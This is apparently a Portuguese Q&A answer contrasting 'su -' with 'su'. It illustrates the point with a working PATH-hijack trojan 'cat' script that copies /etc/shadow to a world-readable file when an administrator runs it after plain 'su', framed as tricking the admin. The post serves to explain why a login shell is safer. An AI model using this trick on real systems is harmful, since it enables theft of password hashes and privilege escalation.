su -
chama um shell de login depois de alternar o usuário. Um shell de login redefine a maioria das variáveis de ambiente, fornecendo uma base limpa.
su
apenas troca o usuário, fornecendo um shell normal com um ambiente quase igual ao do usuário antigo.
Imagine, você é um desenvolvedor de software com acesso de usuário normal a uma máquina e seu administrador ignorante simplesmente não lhe dará acesso root. Vamos (espero) enganá-lo.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Agora, você pergunta ao seu administrador por que você não pode cat
do arquivo fictício em sua pasta pessoal, simplesmente não funciona!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Se o seu administrador não for tão esperto ou um pouco preguiçoso, ele poderá ir até sua mesa e experimentar seus poderes de superusuário:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Uau! Obrigado, super admin!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
Ele, ele.
Você talvez tenha notado que a variável $PATH
corrompida não foi redefinida. Isso não teria acontecido se o administrador chamasse su -
.